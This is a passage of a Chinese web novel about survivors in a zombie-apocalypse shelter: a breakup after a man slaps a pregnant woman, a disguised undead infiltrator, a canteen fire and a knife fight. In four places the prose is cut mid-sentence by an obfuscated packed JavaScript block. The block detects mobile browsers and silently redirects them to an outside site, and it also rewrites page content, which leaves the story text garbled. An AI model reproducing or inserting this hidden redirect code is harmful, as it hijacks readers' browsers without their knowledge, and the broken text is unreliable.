池遥选的这条小路要穿过一片树林,这片树林在寒风中只剩下了光秃秃的枝杈,也正因如此,池遥和许赫一抬头,就望见了不远处的两人。 池遥第一眼看到的,是李艾。 从她的角度,只能看到李艾的侧脸,她佝偻着背,整个人有些凄惨地捂着半边脸颊,而在她的对面,付恒还维持着刚扇完巴掌的姿势。 显然,在池遥和许赫到来之前,他们就发生了争吵,付恒扇了李艾一巴掌。 “我说没说过这里不欢迎你?你还留在这里干什么?别对我死缠烂打了!”他没戴眼镜,显得尤为凶狠可怖,两个人都没注意到一旁的池遥和许赫。 “咳。” 池遥没开口,她还在想怎么让许赫听到更多细节,但她身边的许赫忍不住轻咳一声,陡然撞见这番景象,他一边带着吃瓜的心情,想开口问问发生了什么,但敏锐的直觉又让他想要装作没看见走掉,不介入这件事。 “许哥,池小姐,是你们啊。”见到池遥二人,付恒戴上眼镜,再次恢复了一贯温文尔雅的模样,“抱歉,刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184768|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失态了,这个孕妇趁着周围没人,对我动手动脚,想要勾引我。我一时着急,扇了她一巴掌。” “唔。”许赫点点头,没什么反应,池遥想到他的能力,心中有点失望。 许赫这个人为人处世圆滑,这并不代表他是个坏人,他也帮了池遥很多,但在遇到这些事的时候,即便知道付恒这个人有鬼,但许赫也有极大可能会装作看不见,保全付恒的面子。 毕竟对于许赫来说,付恒是直属上级的男友。 想到这里,池遥有点失望,她想开口说点什么,撕破付恒脸上强装的体面,但付恒比她先一步开了口。 “许哥,池小姐。庄晴最近因为避难所里的事忙得心力交瘁,我这点小事没必要给她添麻烦,这个孕妇我可以自己解决,你们方便当做没看见,给我们一点空间吗?” “可以可以。”许赫连连点头,他伸手拉着池遥示意她快走,却没扯动池遥的袖子。 “我没懂你的意思。”池遥抬起头,目光直勾勾地盯着付恒,语气很少如此强硬,“我们如果现在走了,你要怎么解决?” “这个女人挺着大肚子还要勾引我,简直不知廉耻,传出去的话不止我的名声,庄晴的名誉也会被影响。为了庄晴着想,我要封她的口。” 池遥按捺住心底的火气。 这个人根本就没正面回答她的问题,只会搬出庄晴的名字来压她,如果庄晴此时在场,看到他这副嘴脸,会是什么心情? “封口,你要怎么封?”池遥的语气急促,严肃,咄咄逼人,带着少有的压迫感,“还有,从刚才起我们只听到了你的解释。你说她勾引你,你怎么证明?” “李小姐,你说,这个人刚才说的是真的吗?” 自从被打了一巴掌起,李艾就捂着脸,一言不发,池遥将目光转向她时,才发现她垂着眼睛,脸上满是泪水。 饶是被池遥提问,她也仅仅是在原地啜泣,没有任何要为自己辩护的打算。 “她要是真的什么都没做,我怎么可能出手打她。”见李艾不说话,付恒冷哼一声,语气愈加嚣张。 “走吧。”许赫凑近池遥的耳朵,轻声劝,“你跟他杠什么呀,他和老大在一起那么长时间了。你把他惹急了,不怕他在老大面前参你一笔啊?” “我就是觉得奇怪。”强硬的态度没用,池遥深吸一口气,再次按捺住怒火,转变成理中客的态度,“李艾一个孕妇,没几个月就要生了。有什么理由勾引你这么一个畜......这么一个普通人。” 她的情绪管理还是太不到位了,差一点骂出来。 “我还想问呢。”付恒冷眼瞥了下李艾,厚厚的镜片挡不住他眼神里的恶意,“说不定人家的目标不是我,是我身边的人。” 他又在明里暗里的搬庄晴当挡箭牌了。 “啊,我总算想明白了。”付恒好像找到了编瞎话的逻辑,“怪不得这个女的一直阴魂不散地缠着我,说不定她最想嫁祸的人其实是庄晴,这样的人可不能留在避难所。许哥,池遥,你们觉得我说的有错吗?” 这一次,许赫没有附和。 一旦话题直接涉及到庄晴,事情的本质就变了,在这方面,许赫的直觉很敏锐,他可以装作看不见,卖付恒一个面子,却不会说出明确表达自己态度的话。 一时间,三人陷入了某种诡异的沉默。 直到一个不属于任何一人的声音,从他们身后响起,掷地有声。 “当然有错。” 清脆的女声从池遥的身后传来,顿时,付恒的脸色变得极为难看。 而庄晴则拍了拍池遥的肩膀,从她背后越过,径直走到付恒面前,手起手落。 “啪!” 35. 常青中学11 庄晴常年健身,她的手不比李艾,手臂虽细,但全是精瘦的肌肉,挥起手时带起一阵风声的嗡鸣,把付恒打得趔趄几步,差点站不稳倒下。 这个巴掌可比池遥和许赫方才听到的清脆多了。 “晴晴,”被庄晴扇了一个巴掌,付恒却没有任何怒火,他眉眼耷拉下来,十分顺从地接受了这个巴掌,语气甚至带着讨好,“对不起,没处理好自己的事,又让你费心了。我是该扇,你的手怎么样,疼不疼?” 一边说着,他一边弯腰捧起庄晴的手,夸张地按揉起来。 池遥无法接受,被这个男人的演技恶心得后退两步,结果却撞到了什么。 “池遥!”身后,传来吴心语的声音,她就跟在庄晴身后,庄晴走得太快,她跟不上,现在才过来。 “你们什么时候来的,听到了多少?”池遥忍不住小声问她,见到了庄晴扇付恒的一幕后,她方才被付恒挑起的怒火也散去大半。 “在你逼问他的时候。” 早上晨跑结束后,吴心语再度施展了帽子丢失术,央求庄晴陪她原路返回找帽子,两人沿着晨跑路线找了一路,正巧撞见此事。 而被许赫和蔓蔓找了一大早一直没找到的庄晴,就是被吴心语拉走了。 池遥点了点头。 看来庄晴知道的比她还少,眼前的付恒又如此会演,一时之间,池遥也不知道庄晴会做出什么样的举动。 “别碰我。” 庄晴一把甩开了他的手,她的语气并不激烈,甚至称得上是十分冷静,仿佛只是平日开会的样子,但随即,她抬眼,目光仔仔细细地将那个与她在一起将近两年的人,她以为知根知底的人,却在这一刻变得如此陌生。 “看来我自己选男朋友的眼光真是糟透了,居然会和你这种家伙在一起。” 说到这里,她的情绪才变得有几分强烈。 “没必要继续在一起了。付恒,我们分手了。” “晴晴!” 庄晴忽略了付恒的声音,面不改色继续开口。 “一会儿我会回教学楼跟我父亲说这件事,也会在公告板写声明,至于你,离我远远的,我还能容忍你继续待在避难所里。” “晴晴,你不能这样,你要是觉得我有错我可以改,有什么误会我可以解释!” 付恒还要伸手拉扯她,却看到庄晴瞪着他,摆出防御的模样,双手隐隐泛起金属光泽。 她下意识使用了皮肤硬化。 “我再说一遍,离我远点,从我眼前滚开。” 这一次,她的语气堪称命令。 池遥和吴心语两人最先还小声交换情报,最后两个人谁也不说话了,一起直愣愣地盯着庄晴发呆,身边的许赫此时倒是退到了池遥二人的身后,一副什么都没听到的无辜样子。 见庄晴这副模样,付恒只好离开,他走后,庄晴看向池遥,对池遥微微颔首,然后走到了李艾面前。 随着庄晴的靠近,李艾的身体肉眼可见的瑟缩起来,她身形瘦小,在庄晴面前更显得卑微。 然而,庄晴却抬起她的下巴,动作轻柔地拨开她捂脸的手,仔细检查起李艾脸颊尚未消褪的掌印,指尖小心翼翼地触碰她的脸。 “他打得严不严重,还疼吗?” 李艾一时说不出话来。 她只愣愣的盯着庄晴,过了许久才回过神来,拼命摇头。 “最近避难所里不太平,还是尽量待在人多的地方,不要来这边了。”庄晴拍拍李艾的肩膀,“你先回去吧,如果他再纠缠你就告诉我。” 李艾离开后,一旁旁观了很久的许赫皱起眉头,试探地问了一句。 “老大,要是真像付恒说的那样,怎么办?这么长时间了,他对你的心意我们都有目共睹。” 闻言,池遥惊讶地看了许赫一眼。 “你不是会测谎吗?” 听不出他说的是谎话吗? “我的能力也是有限制的啊,很多时候会失效,要靠我自己判断。”许赫无奈地解释一句,“比如你刚来避难所的时候,我问你是不是天赋者,那个时候我的能力就失效了,难道我会因为这就判断你不是天赋者吗?” 听了这话,池遥在心里暗暗松了一口气。 许赫说对了。 她还真不是天赋者。 看来,付恒刚才说的那些话,碰巧赶上了许赫能力失效的区间。 “你说的话也是有可能的。”庄晴点点头,“当然也有可能,他真的就是被冤枉的,但即便是这样,我还是会分手。” 她深深叹了一口气,眼神中的冷静慢慢转化成在情感与理智中挣扎的情绪。 “我就是觉得,就算我和付恒在一起两年,以后也有分手的可能。” “这样的话,当没有感情了的时候,他对外人的态度,也会是未来对我的态度。他今天可以亲手扇一个孕妇巴掌,那如果以后被他扇巴掌的人是我呢?” 更多的话,她没有再多说。 “老大,小白楼今早出事了。”付恒的话题一过,许赫立刻提起了小白楼中的死亡事件,“昨天审问的那个人夜里自杀了,今早才发现,文茵正在做尸检。” “怎么会这样!”庄晴显然也没想到这事,“幸好我们昨天问出的内容已经够多了,确定是自杀吗?另外两个疯疯癫癫的人怎么样?咱们现在过去!” 转瞬之间,她就摆脱了分手的难过情绪,重新投入到避难所的事务当中。 “心语,我得先去那边了,你......” “没关系,我让池遥陪我去找帽子。”吴心语一把拉住想跟着许赫和庄晴一起去小白楼的池遥,强行把她留了下来。 池遥没办法,只好眼睁睁地看着许赫和庄晴离开的背影。 “怎么回事?我本来是想跟他们去小白楼看看的。”等庄晴二人走后,池遥才开口问道。 吴心语并不是一个没有分寸的人,她既然拉住池遥,一定是有事要说。 “我有种不好的预感。”吴心语叹了口气。 “今天许赫和庄晴是第一次看到付恒那个东西的真面目,但咱们之前已经见过一次了。那个家伙被庄晴提分手之后还不知道会做出什么。”吴心语皱着眉头,“他刚才是从这边走了,咱们现在跟上去,看看能不能找到他。” “而且,昨天我和郑承去食堂的时候,还看到了食堂有两袋面粉,岳溪说是付恒带的。咱们昨晚不是还说这件事吗。”池遥想起昨天看到的场景,“不知道他是从哪儿拿来的面粉,这个人很可疑啊。” 一边说,两人一边朝着吴心语指的方向快速向前走去,这并不是通向食堂和宿舍区的路,反而是通向常青中学被封锁的大门的路。 “那边现在还有人吗?”一边走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195429|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吴心语忍不住发出疑问,“现在不是已经不接收外来者了吗?门口的人已经撤掉了吧?” 池遥想到上午和许赫一起看的公告内容,点了点头。 “对,应该已经没人把守了。” 两人说话的时候,已经走到了大门口。 常青中学的校门大门紧锁,严丝合缝,没有留下任何出入的空间,周围已经无人把守了。 池遥和吴心语沿着校门看了一圈,尽管没人看守,但校门被铁链和几枚沉重的锁头紧紧封死,饶是她们两个有心使坏,都找不到办法。 在沿着校门和围墙周围的地上,池遥发现了一个新鲜的脚印,正是朝着另一侧的围墙前进的。 以大门为界,通往小白楼一侧的围墙周围没有任何障碍物,但另一侧的围墙前则是一个花坛,里面是叫不上名字的植物,不过由于季节原因,现在花坛里只剩几个枯枝,很容易就能进到花坛内。池遥发现的脚印就在花坛内。 “这里。” 二人沿着花坛缓慢向前,没过多久,看到了围墙边破损了一个大洞。 一般的丧尸并不能从这个洞钻进来,但里面的人却可以通过这个洞钻出去。 吴心语与池遥对视一眼,先将身上的背包摘下来交给池遥,蹲下身,艰难地从洞内钻了出去。 紧接着,池遥也效仿吴心语的样子,钻出了围墙。 钻出围墙后才发现,这个洞口只是在墙内看着破损极大,实际上在墙外看来只是一个不大的缺口,估计是因为这个洞在花坛后,所以一直没人注意吧。 走出围墙,外面的丧尸十分稀少,两人沿着围墙一直绕到常青中学的正门口,都没看到丧尸的影子。 “好奇怪。”吴心语在此之前每天都有外出任务,对避难所外的环境有一定认知,立刻发现了诡异之处,“我之前和郑承出门只觉得丧尸数量不多,但似乎从来没有像今天这样,一只丧尸都见不到。” “如果丧尸数量极少。”池遥深深地叹了口气,想到庄晴昨晚在会议上说的内容,“极大可能是有行尸在周围。” 沿着外侧围墙继续向前走,再走不远,就到了小白楼的位置。 与小白楼一墙之隔的围墙下,伫立着一个熟悉的身影。 是付恒。 池遥与吴心语对视一眼,屏住呼吸,二人一同小心翼翼地向前走去。 “你想知道的我已经告诉你了。这下咱们之间两清了。”她们逐渐听清了付恒的声音。 “咦?怎么在这个时候与我们划清界限?你们不需要物资了吗?” 与付恒对话的人背对着她们,池遥和吴心语看不清对方的模样,只能听声音判断是个女人。 她穿一件长款羽绒服大衣,戴着帽子,过于厚重的衣服将她整个人遮掩得严严实实,只能通过身材看出这是个瘦高的女人。 “没必要了。”付恒冷笑一声,“亏我辛辛苦苦换取物资支撑避难所,现在庄晴竟然想把我一脚踢开。” “庄晴要和你分手呀?” 与他对话的女声轻盈又婉转,尾音娇滴滴的,十分勾人。 池遥与吴心语无声地换了个方向前进,没一会儿,就瞄到了与付恒对话的女人的长相。 被包裹得严严实实的身体之上,是一张遍布着血丝与尸斑的恐怖面容。 与付恒对话的女人,无疑是个行尸! 36. 常青中学12 与池遥之前遇到的行尸不同,眼前的这个女人,除了面容恐怖,能明确看出是行尸之外,举止谈吐都与常人无异。 池遥看向身旁的吴心语,与和行尸打过交道的池遥不同,吴心语紧紧捂着嘴,目光里的惊恐清晰可见,明显十分震惊。 此地不宜久留。 池遥在心里叹了口气,拉着吴心语后退,一直回到破洞的围墙边。看不到他们的影子了,两人才大大地松了一口气。 “情况不对,心语,你可以打开防护罩,把避难所包起来吗?” 一直以来只出现在庄晴口中的行尸,终于现身了。 “不行,我的防护罩要以自身为圆心向外扩展,我如果在这里展开防护罩的话,会把行尸也一起覆盖进去。”吴心语深深的叹了口气。 看来吴心语的能力只能在常青中学的最中心施展,想到这里,池遥拉着吴心语的手,就要朝天赋者小楼跑,却再次被吴心语拉住。 “我们先去小白楼!把这件事告诉庄晴!” 对此时的她们而言,小白楼确实离得更近,也是去天赋者小楼要经过的地方,两人拿出每天清晨跑步的劲头,飞速朝着小白楼跑去。 周围的景物与平时并无不同,和往常一样,一路过去看不到几个人。 然而,没来由的,池遥却感觉心脏砰砰直跳,发出一阵阵难以忽视的轰鸣,仿佛有什么事情,即将发生。 “庄晴!” 还没到小白楼,吴心语就已经喊出了庄晴的名字,池遥一把推开大门,走廊内却空空荡荡,只留下了令人作呕的尸臭味。 “庄晴不在吗?”吴心语捂着鼻子,嘴上没停,“这才分开多久啊?他们怎么就不在这儿了?” 池遥看了一眼手表,从她们和庄晴分开,去跟踪付恒到现在,已经过去了一个多小时。 一个多小时的时间,已经足以发生许多事了。 然而,两人找遍了小白楼,也没看到庄晴等人的踪迹,池遥甚至打开了收容那两个疯子的房间的大门,然而,映入眼底的却是大面积的红。 前几天刚被池遥救活的两个人,此时已经被拆成了不同面积的碎块,零零碎碎撒了一地,仔细看,遗留的尸块上还残留着不明显的咬痕。 “行尸已经入侵了吗......” 不好的预感在不停发酵。 池遥拉起吴心语的手,转身朝着天赋者小楼跑去。 如果真的出了什么事。 如果行尸真的入侵了避难所。 那么庄晴他们一定会在天赋者小楼附近。 “小白楼怎么会......”吴心语同样看到了那两句零碎的尸体,“行尸,行尸已经进来了吗?不对......庄晴在哪儿?” “去天赋者小楼!”池遥攥紧了吴心语的手,几乎是拖着她,拼命向前方跑去。 出了小白楼,离得远远的,池遥就看到本该是一片碧蓝的天幕此时却灰扑扑的,蒙上了一层厚厚的阴霾,连同空气也变得呛人,让她忍不住咳嗽出声。 很快,她就反应过来,这是着火了。 食堂楼不知道什么时候熊熊燃烧,整栋楼处处透着火光,周围浓烟四起,临近午餐时间,聚集了大量幸存者,此时数不清的人哀嚎着从食堂大门跑出来,周围一片混乱。 离得很远,池遥就隐约瞥见了食堂那边的情况,她加快速度,来到小楼门口,推了一把吴心语。 “你先进去!看看有谁在,把行尸和付恒的事传出去!” 眼下人流量最大的食堂已经出了事,周边恐怕已经没有完全安全的场所了,吴心语的能力虽然可以自保,但她终究能力有限,还是在小楼里和其他天赋者待在一起更安全。 “你呢,池遥?” “我去食堂......看看有没有人受伤。”池遥最担心的是在四楼的郑承和岳溪,以及她的舍友孟然和赵一宁,食堂起了这么大的火,这四个人还在顶层,不知道能不能逃出来。 食堂的大火刻不容缓,话音刚落,池遥立刻动身朝着食堂跑去,在食堂周围,有幸存者四散奔逃,也有幸存者在门口接应逃出来的人,池遥穿过人群,忽然听到身后传来熟悉的声音。 “我跟你一起去!” 是吴心语。 她根本没听池遥的话,回小楼避难,而是一路追着池遥,跟着她一起来到了食堂。 食堂大门附近,有一群幸存者自发组织起来救人,池遥在救人的队伍里看到了熟悉的人影。 “然然!小宁!你俩没事吧?” 孟然和赵一宁正在组织救人,闻言抬头,看到是池遥,露出了松了一口气的表情。 “我们没事!” “是庄晴姐把我们救出来的!” “庄晴?” 听到熟悉的名字,吴心语立刻开口,“庄晴在这里?” “她冲进去把我们都救出来了!”赵一宁回答道。 “郑承和岳溪也出来了吗?”池遥扫视周围,没看到郑承的身影。 “嗯!庄晴姐让郑承快走,然后郑承就拉着岳溪走了,不知道去哪儿了。” 听到大家都没事的消息,池遥这才松了一口气,但很快,又意识到了一个更大的问题。 “庄晴呢?她在哪儿?” 孟然和赵一宁没说话,齐齐看向面前的食堂。 不用她们说,吴心语立刻明白了她们的意思,立刻就要往食堂里冲,被反应过来的池遥死死拽住。 “庄晴还在里面!” “庄晴姐说她皮肤硬化之后就不怕火了,一直在进出食堂救人。”赵一宁轻声说道,她目光低垂,说话时很没底气,想来也并不相信庄晴是真的不怕火。 池遥也是同样的想法,无论庄晴的能力有多强大,或许确实受火的影响更小,但不可能一点都不怕火。 “弯腰!捂住口鼻!马上到门口了!坚持住!” 不多时,食堂内传来熟悉的声音。 紧接着,池遥看到了从食堂大门口走出来的庄晴,全身皮肤硬化到极致的庄晴。 她的头发已经烧成毛毛躁躁的一团,脸上,身上都是黑漆漆的灰烬,眼睫毛和眉毛几乎被烧没了,上半身的衣服也只剩下了一件背心,被火烧出了几个窟窿,与一个多小时的样子截然不同。 然而,最引人瞩目的是她露在外面的皮肤,已经完全变成了银灰调的金属色,在食堂里经过大火的烧灼,隐约泛红。乍一看如同一个精密的机器人,十分诡异。 她的两只手各提着一个人的领子和袖子,硬是将两个晕倒在火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201926|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场里的幸存者救了出来。 一看到庄晴,吴心语立刻拉着池遥跑了过去。 “庄晴!” 吴心语的喊声引起了庄晴的注意,她慢慢扭过头,在银灰色的皮肤之上,那双同样显得诡异的眼睛缓缓与吴心语对视。 池遥注意到,庄晴的皮肤硬化能力一旦硬化到极致,她自己的灵活度也会相应下降。 不过,也有可能是她在火场里受了伤,行动才变得如此迟钝。 来到庄晴身边,池遥立刻感觉到了她身上残留的余温,硬化后的皮肤难以散热,即便她已经离开火场,但身体仍旧维持着滚烫的温度。 然而,池遥没有一丝迟疑,紧紧地攥住了庄晴的手,将自己的能力输送进去。 一接触到庄晴,她就感受到皮肤烧焦的痛楚,一瞬间,她仿佛也置身火场,手掌正在被火焰灼烧。 尽管如此,她还保留一丝清醒,努力将能力送往庄晴身上被烧伤的部分。 松开手时,池遥手抖得不成样子,深深地吸了一口气。 移开手后,她左手的掌心出现了大片的烧伤,烧伤没那么严重的地方也起了水泡。 幸好她治疗庄晴的能力不多,只有一只手烧伤,并不影响她正常行动。 “庄晴,食堂的火是怎么回事?” “有行尸入侵了。”庄晴的表情极为严肃,她的目光在池遥和吴心语脸上停留几秒,随后道,“心语,宿舍区楼下停了很多车,你跟着车离开这里,朝新避难所的方向开!走的越早越好!” “池遥,混入避难所的行尸似乎有办法伪装成普通人,我让文茵去查了,她在宿舍那边,你去帮帮她!” “我知道了。”池遥点点头,用没受伤的手拉着顺路的吴心语,顺着庄晴手指的方向飞奔而去。 宿舍区距离食堂不远,大多数从食堂逃出来的人都跑去了宿舍区,池遥和吴心语混在人群当中,没办法跑得太快,跑到宿舍附近时,听到了熟悉的喊声。 “池遥!吴心语!” 是林晟的声音。 “快上车!” 二人急忙朝停在宿舍楼下的几台车看去,北城大学的校车上,此时已经坐满了北城大学的同学,程煜坐在驾驶座上蓄势待发,而林晟站在驾驶座旁边,正把脑袋探出窗外喊她们两个上车。 没等吴心语反应过来,池遥拉着她跑向车门,推了一把吴心语,让她上了车。 “我就不上车了,你们现在赶紧出发吧。其他天赋者在对付入侵的行尸,我得去支援他们。” 站在车门前,池遥面对一整车人的目光,有点局促地移开了眼神。 “你们先走吧,在江北避难所等我,我一定会过去的!” “池遥!” 林晟紧紧盯着她,忍不住开口。 “跟我们走吧,你的能力也不是......” “留下来的天赋者,除了庄晴和茵茵姐,都不是攻击类能力呀。”池遥温和却不容拒绝地打断了他的话,“你们放心,我能保护好我自己。” 她还要找文茵,没法在这里耽搁太久,说完这句话就立刻转身,踏上了反方向的路。 没过几秒,身后传来了校车发动机启动的声音。 她的伙伴们,终于安全离开了。 37. 常青中学13 在校车启动,离开学校之后,宿舍区的其他幸存者们也有样学样,迅速占据了剩下的车子,开着车跟随校车扬长而去。 而在宿舍区剩下的人群中,池遥扫视一圈,并没有看到文茵的踪迹。 文茵去哪儿了? “文茵!”她忍不住喊了两声,又一个个看向身旁的幸存者。 “有人看到文茵了吗?” 周围的幸存者大多认得她,见她发问,纷纷摇头说没看见。 唯独有一个人,池遥连问了好几遍,都没有回头。 此人身形瘦高,穿着长款羽绒服外套,戴着帽子,仅从背影很难辨认男女,但池遥只看了几眼就立刻辨认出来了,这是一个女人。 对于她而言,这是一个分外眼熟的背影。 “不好意思。” 池遥抬手,扳着对方的肩膀,做好了随时出手的准备,迫使对方回过头来。 “请问你看到文茵了吗?” 出人意料的是,显露在她面前的是一个普通女性的长相,平平无奇,没有任何特别之处。 难道是她认错了吗? 池遥犹豫着放下手,眼神仍旧停在被她叫住的女人身上。 “没看到。” 对方的声音轻飘飘,娇滴滴,与记忆里的声音不谋而合。 果然是她! 池遥的目光立刻变得凌厉起来,死死盯着面前的女人。 是她和吴心语亲眼目睹的,在围墙外与付恒说话的行尸! 即便不知道她如今为何变成了普通人的模样,大概率与他们的能力有关,但池遥不会忘记那张满是血丝的青白面容。 “那你愿意和我一起找她吗?” 周围人太多,没办法直接动手,池遥只得故作热情地伸手抓住女人的衣袖,强行扯着她往远离宿舍区的方向走。 “我看你似乎也不是很忙,多一个人多一份力,你不会想拒绝吧?” “我......” 行尸挣扎了几下,但池遥的手死死拽着她,最终也只能跟随着池遥走到了无人的角落。 紧接着,池遥掏出吊坠里的水果刀,迅速朝着行尸的脖颈处砍下! “你要做什么!” 行尸反应极快,立刻挣脱了池遥的钳制,后退两步拉开与池遥的距离,低下头,险险躲过了池遥的攻击。 直到现在,在池遥的眼中,她仍旧是一副普通人的模样,甚至可以说是一个容貌姣好的女子。 “没必要再伪装了吧?” 池遥冷声开口,手里的刀子对准她羽绒服大衣下露出的脖颈和面部,猛地劈下! “伪装?” 女子再次后退,堪堪躲过池遥的攻击,的声音满是诧异。 “伪装什么!我是普通人啊,你怎么能对我出手!” 看来是铁了心要伪装成人类了。 “把你杀掉,就知道你到底是人还是行尸了。” 池遥没有丝毫犹豫,立刻再次进攻,故意用上不容拒绝的语气。 “你疯了吧?你们不是在找行尸吗?对我出手做什么?” 这一次,女人的语气仍然极尽无辜,然而,却出手抵挡住了池遥的攻击。 她虽然看着瘦弱,但臂力极大,轻轻松松就地抵挡住了池遥的小刀,下一秒,她的拳头直接逼近了池遥的脸,池遥一低头,险险躲闪过去,后退几步。 就在女人主动朝池遥出手之时,她的脸肉眼可见的变了! 如同揭开了一层伪装,又仿佛是之前遮蔽在脸上的伪装失效了一般,那张普通人的模样逐渐从她的脸上淡去,露出了一张满是血迹,皮肤青白,透着血线,恐怖又狰狞的行尸模样。 “果然。” 池遥对这一变化并不意外,她打起精神,将吊坠中可用的物品在脑海中过了一遍,下一秒,从吊坠内拿出一条血迹斑斑的钢管,对准行尸的脑袋,戳刺而下! 对面的行尸与她之前对付过的行尸截然不同,除却模样和习性,她与普通人类毫无区别,甚至可以隐没在普通人当中。 不仅如此,池遥还不知道它的能力是什么。 她想要尽可能迅速的杀死这只行尸,不仅是为了早点找文茵,也是为了能在这只行尸施展能力之前杀掉它。 “我的伪装天衣无缝,你是怎么发现我的?” 行尸侧身躲过钢管,尖声问道。 池遥与它交手了几个来回,发现这只行尸的战斗路数与她相似,尽管身体能力极强,但似乎不太擅长战斗,应对她的攻击都以灵活的躲闪为主。 “我看到了你和付恒说话。” “啊,那个趋炎附势的混蛋,我把他杀掉了。”行尸泛着冷光的眼睛里闪过近似愉悦的情绪,“他的尸体还在围墙下呢,我不喜欢吃人渣的肉,让他腐烂臭掉吧。” “他的确是该杀。”池遥不由自主地附和一句,这是她少有的和敌人意见一致的时刻。 “是吧,那个不知廉耻的东西,背着李艾出轨一年多,还让我们帮他杀掉在避难所里说他坏话的人类,真是糟透了,你们那个叫庄晴的领袖可算是和他分手了。” “李艾?”池遥手中逼近对方的钢管抖了抖,“你认识李艾?” 尽管李艾已经摆脱了嫌疑,因为怀孕受到了他们的关照,但在潜意识中,池遥还是隐隐觉得,李艾和被行尸圈养的那伙人是有联系的。 “嗯......” 行尸还想说些什么,但池遥的钢管已经到了面前,它闪避慢了半拍,钢管径直从它的肩头穿过,把它钉在了地面上。 池遥与行尸说话的初衷,是分散对方的注意力,但她同样仔细听着行尸的话。 然而,越听下去,她越意识到了一件事。 对面与她缠斗的行尸,本质上与她没有什么不同。 会说话,能交流,有策略,甚至可以和池遥一起痛骂渣男,一起八卦。 说话的口吻,让池遥想到了吴心语。 那么,天赋者和行尸的界限又在哪里呢? 她少有的产生了这样的犹豫。 因此,在凭直觉重创对方后,面对着肩膀被贯穿,动也动不了,奄奄一息的行尸,池遥没有立刻补刀。 她在脑海中努力告诫自己,没有立刻杀它只是为了获取情报。 “李艾是怎么回事?” 池遥握紧手中的钢管,死死抵着它,她能隐约感受到钢管末端血肉的触感,不是干瘪的丧尸身体,而是活着的,属于行尸,曾属于人类的躯体,这种感觉让她心里发毛。 “李艾......” 行尸灰色的眼睛与她对视,池遥难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206897|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那双一片死灰的眼神中发掘到其中的情绪,她只说出了李艾的名字,却没了后话。 每一次涉及到李艾,它总是默默闭上了嘴。 “白晓!” 远处,却突然传来了李艾的声音。 “白晓!你还好吗?” 她在呼喊被池遥打伤的行尸。 “你叫白晓?”池遥的目光从奔来的李艾身上转回到地上的行尸脸上。 白晓没说话。 她的脸色极差,原本青白的皮肤逐渐发灰,被贯穿的肩膀涌出大量鲜血,色泽鲜红。 “白晓!你怎么样?” 跑来的李艾无暇顾及笨重的身躯,直接在白晓身旁跪了下来,目光沿着贯穿白晓肩膀的钢管落在池遥脸上,才反应过来。 “池小姐!白晓是好人!她是我的好朋友!和别的行尸不一样!可以放过她吗?” 对于主动靠近的李艾,倒在地上的行尸却没有任何反应,只是淡淡地瞥了她一眼,就移开目光。 只是,也没表现出攻击的倾向。 池遥在心里叹了口气,问出最想问的问题。 “看到文茵了吗?” “文小姐在小白楼附近!有行尸从小白楼外面的门进来了!文小姐正在那里拦着!” “我知道了。”池遥一把抽出钢管,收回到吊坠之中,不顾捂着肩膀倒吸气的行尸,与一旁忧心忡忡的李艾,转身朝着小白楼走去。 最后,她还是没有选择补刀。 只是,她还记得不久前,自己刚从小白楼的方向过来,那个时候,她只看到了小白楼里的尸体,没注意到是否有行尸从小白楼外面的门进来。 她根本不清楚,小白楼里还有通往校外的暗门。 怪不得这里一直以来都由天赋者把守。 食堂也是,明明不久前,她还待在食堂来着,只是离开了一会儿,就发生了火灾。 无端的,池遥只觉得有一种无力感在心里蔓延开来。 为什么,她做每一件事都碰巧错过最佳的时机? 她急忙朝小白楼跑去,途中遇到幸存者,她都要停下来拉住对方,劝他们远离小白楼。 “快走!离开避难所!现在避难所就是最危险的地方!” 她言辞激烈地告诫途中遇到的每一个人,说完之后,看到对方茫然的表情,心中再次升腾起一股无能为力的感觉。 到了小白楼附近,远远的,就有一个行尸注意到了池遥,朝她扑来。 “离我远点!”池遥亮出水果刀,手起刀落,将行尸的胸口划出一道大口子,“看到我们的天赋者了吗?一个一米七五左右的女人!” 